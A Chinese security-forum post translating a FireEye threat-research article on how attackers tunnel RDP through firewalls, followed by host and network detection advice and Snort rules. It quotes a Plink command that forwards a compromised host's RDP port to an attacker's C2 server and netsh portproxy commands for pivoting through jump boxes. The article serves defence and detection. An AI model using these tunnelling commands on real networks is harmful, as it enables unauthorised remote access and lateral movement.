首页
论坛
课程
招聘
[翻译]利用RDP隧道来突破网络限制
2019-3-21 22:39 8481

[翻译]利用RDP隧道来突破网络限制

2019-3-21 22:39
8481

RDP

远程桌面服务是微软Windows系统的一个组件,各公司都使用它来为系统管理员、工程师以及远程员工提供便利的服务。另一方面,远程桌面服务,特别是远程桌面协议(RDP),在目标系统被攻陷时也为远程攻击者提供了同样的便利。当攻击者拿下Windows系统据点,并获得充足的登录凭据后,他们可能会从利用后门管理机器变为直接使用RDP会话进行远程访问。当整个攻击链中不再使用恶意程序之后,整个入侵行为变得越来越难以检测。

利用RDP对抗防火墙规则

与非图形化后门相比,攻击者依旧更青睐稳定性和功能性更有优势的RDP,即使这种方式可能会在系统上留下不必要的痕迹。因此,FireEye观测到有攻击者使用本地Windows RDP程序在被入侵环境中跨系统进行横向通信。一般来讲,受防火墙和NAT规则保护的非暴露系统通常被认为不容易受到入站RDP连接的影响; 然而,攻击者越来越多地开始使用网络隧道和基于主机的端口转发来破坏这些企业的网络控制策略。

 

网络隧道和端口转发利用防火墙“针孔”(指那些不受防火墙保护的端口,它们允许应用程序访问受防火墙保护的网络中的主机上的服务)与防火墙保护的远程服务器建立连接。一旦经过防火墙建立了与远程服务器的连接,该连接就可以用作传输通道来通过防火墙发送数据,或作为连通到本地侦听服务(位于防火墙内)的“隧道”,使远程服务器(位于防火墙外面)可以访问它们,如图1所示。

 

 

图1:使用RDP以及SSH网络隧道绕过企业防火墙的示例

入站RDP隧道

用于开启RDP会话隧道的常用工具是PuTTY Link,通常称为Plink。Plink可用于使用任意源和目标端口与其他系统建立安全shell(SSH)网络连接。由于许多IT环境要么不执行协议检查,要么不阻止从其网络出站的SSH通信。因此,FIN8等攻击者使用Plink创建加密隧道,允许受感染系统上的RDP端口与攻击者的C2(command and control)服务器进行通信。

Plink使用示例:
plink.exe <users> @ <ip或者域名> -pw <密码> -P 22 -2 -4 -T -N -C -R 12345:127.0.0.1:3389

图2提供了使用Plink成功创建RDP隧道的示例,图3提供了使用来自攻击者的C2服务器通过端口转发的形式建立隧道进行通信的示例。

 

图2:使用Plink成功创建RDP隧道的示例

 

 

图3:成功从攻击者C2服务器到受害者的端口转发示例

 

应该注意的是,对于能够对系统进行RDP的攻击者,他们必须已经通过其他方式访问系统,以便创建或访问用于建立隧道所必需的实用程序。例如,攻击者对系统的入侵最初可能是从在网络钓鱼电子邮件中插入有效载荷开始的,旨在建立与目标机器的接入环境,同时提取凭据以升级权限。使用RDP隧道进入被攻陷的网络环境,通常是攻击者用于维护其对目标系统的访问的众多方法中的一种。

利用跳板机横向移动

RDP不仅是从外部访问内部被攻陷主机的完美工具,RDP会话还可以跨多个系统进行菊花链连接,以便在环境中横向移动。FireEye观察到使用本机Windows Network Shell(netsh)命令的攻击者利用RDP端口转发作为访问新发现的仅通过管理跳板机可到达的分段网络的方式。

 

netsh进行端口转发示例:

netsh interface portproxy add v4tov4 listenport = 8001 listenaddress = <JUMP BOX IP> connectport = 3389 connectaddress = <DESTINATION IP>

netsh进行端口转发简介版的命令示例:

netsh l p a v  l= 8001 listena = <JUMP BOX IP> connectp = 3389 c = <DESTINATION IP>

例如,攻击者可以配置跳板机在任意端口上侦听从先前被攻陷的主机发送的流量。然后,流量将通过跳板机直接转发到分段网络上的任何系统,使用任何指定端口,包括RDP的默认的TCP3389端口.这种类型的RDP端口转发为攻击者提供了一种利用跳板机允许的网络路由的方法,可以在建立RDP会话期间,不会中断正在使用跳板机的合法管理员。图4提供了通过管理跳板机到分段网络的RDP横向移动的示例。

 

 

图4:使用跳板机通过RDP进行横向移动到分段网络

RDP隧道的预防和检测

如果启用了RDP,攻击者可以通过隧道或端口转发来横向移动并在网络环境中维持访问。为了降低漏洞危害并检测这些类型的RDP攻击,组织内部应该关注基于主机和基于网络的预防和检测机制。有关其他信息,请参阅FireEye博客文章,了解如何建立远程桌面协议的基准

基于主机的预防:

  • 远程桌面服务:在不需要远程连接的所有用户的设备以及工作站的系统上禁用远程桌面服务。
  • 基于主机的防火墙:启用基于主机的防火墙规则,明确拒绝入站RDP连接。
  • 本地帐户:通过启用“拒绝通过远程桌面服务登录”这项安全设置,防止在工作站上通过本地帐户使用RDP。

基于主机的检测:

  • 注册表项:

    • 查看与Plink连接关联的注册表项,这些连接可被RDP会话隧道滥用以识别唯一的源和目标系统。默认情况下,PuTTY和Plink都会在Windows系统上的以下注册表项中存储会话信息和以前连接的ssh服务器:
      • HKEY_CURRENT_USER\Software\SimonTatham\PuTTY
      • HKEY_CURRENT_USER \ SOFTWARE \ SimonTatham \PuTTY\ SshHostKeys
    • 同样,使用以下Windows注册表项存储netsh创建的PortProxy配置:

      • HKEY_CURRENT_USER\SYSTEM\CurrentControlSet\Services\PortProxy\v4tov4
    • 收集和查看这些注册表项可以识别合法的SSH和意外的隧道活动。可能需要进一步审查以确认每一项的目的。

  • 事件日志:

    • 查看高保真的登录事件的事件日志。常见的RDP登录事件包含在Windows系统上的以下事件日志中:

      • %systemroot%\Windows\System32\winevt\Logs\Microsoft-TerminalServices-LocalSessionmanager%3Operational.evtx
      • %systemroot%\Windows\System32\winevt\Logs\Security.evtx
    • "TerminalServices-LocalSessionManager"日志包含:由EID为21标识的成功交互式本地或远程登录事件,并且成功重新连接先前建立的RDP会话,该会话未由EID为25标识的正确用户注销终止。“安全”日志包含成功类型由EID 4624标识的类型为10的远程交互式登录(RDP)。记录为本地主机IP地址(127.0.0.1 - 127.255.255.255)的源IP地址可能表示从侦听本地主机端口路由到本地主机的RDP端口的隧道登录TCP 3389。

    • 检查“plink.exe”文件执行的相关参数。请注意,攻击者可以重命名文件名以绕过检测。相关工件包括但不限于:
      • 应用程序兼容性缓存
      • Amcache
      • 跳转列表
      • 预取(Prefetch)
      • 服务事件
      • 来自WMI存储库的CCM最近使用的应用程序
      • 注册表项

基于网络的预防:

  • 远程连接:在需要使用RDP的情况下,强制从指定的跳板机或集中管理服务器启动连接。
  • 域帐户:对特权帐户(例如域管理员)和服务帐户使用“拒绝通过远程桌面服务登录”的安全设置,因为这些类型的帐户通常被攻击者用于横向移动到环境中的敏感系统。

基于网络的检测:

  • 防火墙规则:查看现有防火墙规则来确定可能被攻击者用于端口转发的区域。除了可能使用端口转发之外,还应对内网环境中工作站之间的内部通信进行监控。通常,工作站不需要直接相互通信,可以使用防火墙规则来阻止任何此类通信,当有特殊需要时,可以设置白名单。
  • 网络流量:执行网络流量的内容检查。并非所有在给定端口上通信的流量都是它表面看起来的流量。例如,攻击者可以使用TCP的80或443端口与远程服务器建立RDP隧道。深入检查网络流量可能会发现它实际上不是HTTP或HTTPS,而是完全不同的流量。因此,组织应密切监控其网络流量。
  • Snort规则:RDP隧道的一个主要特征是建立RDP握手时具有通常用于另一协议的指定低源端口。图5提供了两个示例Snort规则,可以帮助安全团队通过识别通常用于其他协议的指定低源端口来识别其网络流量中的RDP隧道。
alert tcp any [21,22,23,25,53,80,443,8080] -> any !3389 (msg:"RDP - HANDSHAKE [Tunneled msts]"; dsize:<65; content:"|03 00 00|"; depth:3; content:"|e0|"; distance:2; within:1; content:"Cookie: mstshash="; distance:5; within:17; sid:1; rev:1;)
alert tcp any [21,22,23,25,53,80,443,8080] -> any !3389 (msg:"RDP - HANDSHAKE [Tunneled]"; flow:established; content:"|c0 00|Duca"; depth:250; content:"rdpdr"; content:"cliprdr"; sid:2; rev:1;)

以上是用于识别RDP隧道的示例Snort规则

结论

RDP使IT环境能够为用户提供自由和便捷的操作性。但随着越来越多的攻击者使用RDP突破被被限制访问的网络横向移动,安全团队正面临着区分合法和恶意的RDP流量的挑战。因此,应采取适当的基于主机或者基于网络的预防和检测方法来主动监控并能够识别恶意RDP使用情况。

原文连接:https://www.fireeye.com/blog/threat-research/2019/01/bypassing-network-restrictions-through-rdp-tunneling.html
翻译:看雪翻译组-skeep
校对:看雪翻译组-玉林小学生


[2022冬季班]《安卓高级研修班(网课)》月薪三万班招生中~

最后于 2019-4-1 21:35 被skeep编辑 ,原因:
收藏
点赞0
打赏
分享
最新回复 (1)
雪    币: 127
活跃值: 活跃值 (989)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
niuzuoquan 活跃值 2019-4-27 20:33
2
0
mark
游客
登录 | 注册 方可回帖
返回